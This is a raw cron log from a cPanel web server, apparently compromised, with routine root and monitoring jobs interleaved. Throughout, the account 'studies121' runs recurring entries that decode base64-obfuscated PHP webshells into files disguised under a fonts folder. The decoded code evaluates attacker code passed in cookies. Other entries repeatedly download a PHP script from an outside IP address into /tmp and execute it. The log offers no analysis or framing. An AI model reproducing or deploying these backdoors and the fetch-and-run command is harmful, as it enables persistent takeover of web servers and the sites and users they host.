Feb 22 10:15:01 ip-184-168-122-23 CROND[26233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:15:01 ip-184-168-122-23 CROND[26235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:15:01 ip-184-168-122-23 CROND[26236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:15:01 ip-184-168-122-23 CROND[26239]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 10:15:01 ip-184-168-122-23 CROND[26240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:15:01 ip-184-168-122-23 CROND[26242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:15:01 ip-184-168-122-23 CROND[26243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:16:01 ip-184-168-122-23 CROND[26572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:16:01 ip-184-168-122-23 CROND[26573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:16:01 ip-184-168-122-23 CROND[26571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:16:01 ip-184-168-122-23 CROND[26574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:16:01 ip-184-168-122-23 CROND[26575]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 10:16:01 ip-184-168-122-23 CROND[26576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:17:01 ip-184-168-122-23 CROND[26911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:17:01 ip-184-168-122-23 CROND[26915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:17:01 ip-184-168-122-23 CROND[26917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:17:01 ip-184-168-122-23 CROND[26918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:18:01 ip-184-168-122-23 CROND[27334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:18:01 ip-184-168-122-23 CROND[27336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:18:01 ip-184-168-122-23 CROND[27337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:18:01 ip-184-168-122-23 CROND[27339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:18:01 ip-184-168-122-23 CROND[27341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:19:01 ip-184-168-122-23 CROND[27644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:19:01 ip-184-168-122-23 CROND[27646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:19:01 ip-184-168-122-23 CROND[27647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:19:01 ip-184-168-122-23 CROND[27648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:20:01 ip-184-168-122-23 CROND[27974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:20:01 ip-184-168-122-23 CROND[27976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:20:01 ip-184-168-122-23 CROND[27978]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 10:20:01 ip-184-168-122-23 CROND[27981]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 10:20:01 ip-184-168-122-23 CROND[27983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:20:01 ip-184-168-122-23 CROND[27982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:20:01 ip-184-168-122-23 CROND[27985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:20:01 ip-184-168-122-23 CROND[27986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:20:01 ip-184-168-122-23 CROND[27984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:21:01 ip-184-168-122-23 CROND[28321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:21:01 ip-184-168-122-23 CROND[28323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:21:01 ip-184-168-122-23 CROND[28322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:21:01 ip-184-168-122-23 CROND[28325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:22:01 ip-184-168-122-23 CROND[28633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:22:01 ip-184-168-122-23 CROND[28636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:22:01 ip-184-168-122-23 CROND[28641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:22:01 ip-184-168-122-23 CROND[28643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:22:01 ip-184-168-122-23 CROND[28642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:23:01 ip-184-168-122-23 CROND[28952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:23:01 ip-184-168-122-23 CROND[28951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:23:01 ip-184-168-122-23 CROND[28953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:23:01 ip-184-168-122-23 CROND[28954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:24:01 ip-184-168-122-23 CROND[29264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:24:01 ip-184-168-122-23 CROND[29268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:24:01 ip-184-168-122-23 CROND[29266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:24:01 ip-184-168-122-23 CROND[29267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:24:01 ip-184-168-122-23 CROND[29269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:25:01 ip-184-168-122-23 CROND[29710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:25:01 ip-184-168-122-23 CROND[29709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:25:01 ip-184-168-122-23 CROND[29713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:25:01 ip-184-168-122-23 CROND[29716]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 10:25:01 ip-184-168-122-23 CROND[29717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:25:01 ip-184-168-122-23 CROND[29718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:25:01 ip-184-168-122-23 CROND[29720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:26:02 ip-184-168-122-23 CROND[30038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:26:02 ip-184-168-122-23 CROND[30037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:26:02 ip-184-168-122-23 CROND[30041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:26:02 ip-184-168-122-23 CROND[30040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:26:02 ip-184-168-122-23 CROND[30039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:27:01 ip-184-168-122-23 CROND[30341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
